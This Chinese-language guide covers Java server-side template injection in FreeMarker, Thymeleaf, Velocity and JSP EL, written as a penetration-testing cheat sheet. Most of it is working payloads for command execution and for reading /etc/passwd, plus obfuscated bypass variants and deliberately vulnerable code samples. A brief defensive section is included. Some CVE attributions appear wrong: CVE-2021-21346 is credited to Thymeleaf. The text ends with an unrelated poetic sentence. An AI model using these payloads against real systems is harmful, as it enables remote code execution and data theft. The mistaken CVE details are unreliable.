SSTI-Java模板注入全面指南

一、基础知识

1. Java常见模板引擎

FreeMarker:广泛用于企业级应用,语法为${expression}
Thymeleaf:Spring生态主流模板引擎,语法为[[${expression}]]
Velocity:Apache项目,语法为$variable#directive
• **JSP (JSTL)**:传统Java模板,支持表达式语言(EL)如${expression}


2. 开发中的代码实例

漏洞代码示例(FreeMarker)

// 危险操作:直接渲染用户输入
String userInput = request.getParameter("content");
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
Template template = new Template("injected", new StringReader(userInput), cfg);
StringWriter output = new StringWriter();
template.process(null, output); // 导致SSTI

漏洞代码示例(Thymeleaf)

// 危险操作:用户输入作为模板片段
String input = request.getParameter("param");
Context context = new Context();
context.setVariable("param", input);
String result = templateEngine.process(input, context); // 直接渲染用户输入

二、渗透关键点

1. 检测注入点

输入点:URL参数、模板动态拼接内容。
检测方法

GET /page?param=${7 * 7} HTTP/1.1          <!-- FreeMarker/Velocity/JSP EL -->
GET /page?param=[[${7 * 7}]] HTTP/1.1     <!-- Thymeleaf -->

观察响应中是否返回49

2. 引擎识别

FreeMarker:报错信息包含FreeMarker template error
Thymeleaf:报错信息包含ThymeleafTemplateProcessingException
Velocity:报错信息包含VelocityParseException


三、漏洞利用与Payload

1. FreeMarker注入

命令执行(需new指令未禁用)

<#assign ex = "freemarker.template.utility.Execute"?new()>
${ ex("id") }

文件读取

<#assign file = "freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")>
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", file)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is))>
<#list 1..1000 as _>
${ br.readLine()! }
</#list>

2. Thymeleaf注入

预处理表达式(高危)

// 用户输入为:__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
[[${param}]]  // 渲染时触发命令执行

表达式语言(EL)利用

${T(java.lang.Runtime).getRuntime().exec('calc')} <!-- 需要启用表达式预处理 -->

3. Velocity注入

命令执行

#set($exec = $util.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
$exec.exec("id")

文件读取

#set($reader = $util.getClass().forName("java.io.FileReader").newInstance("/etc/passwd"))
#set($buf = $util.getClass().forName("java.io.BufferedReader").newInstance($reader))
#foreach($i in [1..1000])
$buf.readLine()
#end

4. JSP(JSTL)EL注入

命令执行(旧版EL)

${pageContext.request.getSession().setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id"))}

文件读取

${''.getClass().forName('java.io.BufferedReader').newInstance(''.getClass().forName('java.io.FileReader').newInstance('/etc/passwd')).readLine()}

四、防御手段

1. 通用防御

输入过滤:禁止用户输入直接嵌入模板逻辑。
沙盒模式
FreeMarker:配置new_builtin_class_resolver限制类访问。
Velocity:启用SecureUberspector限制反射。
Thymeleaf:禁用预处理表达式(spring.thymeleaf.mode=HTML)。

2. 安全配置

FreeMarker

cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

Thymeleaf:避免使用@{}动态拼接模板路径。
JSP:禁用EL表达式(<%@ page isELIgnored="true" %>)。


五、绕过技巧

1. 编码混淆

${''['cl'+'ass'].forName('java.la'+'ng.Run'+'time').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null),'id')}

2. 字符串拼接

#set($cmd = "j")
#set($cmd = $cmd + "ava.lang.Run")
$cmd.getRuntime().exec("id")

3. 反射链调用

<#assign rt = "freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime")>
<#assign method = rt?api.class.getMethod("getRuntime")>
${method.invoke(null)?api.exec("id")}

六、总结与参考

1. 测试流程

  1. 检测注入点 → 2. 识别引擎类型 → 3. 构造反射链 → 4. 执行命令/读取文件

2. 高危CVE

CVE-2021-21346:Thymeleaf预处理表达式注入(影响版本<3.0.12)。
CVE-2020-13952:Apache Velocity远程代码执行(影响版本<2.2)。

3. 参考资源

FreeMarker安全指南
Thymeleaf预处理漏洞分析
JSP EL注入研究


备注:Java模板注入通常需要构造反射链或利用特定引擎的指令,渗透测试时需结合目标引擎版本调整Payload。重点关注Runtime.getRuntime().exec()和文件读写操作。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。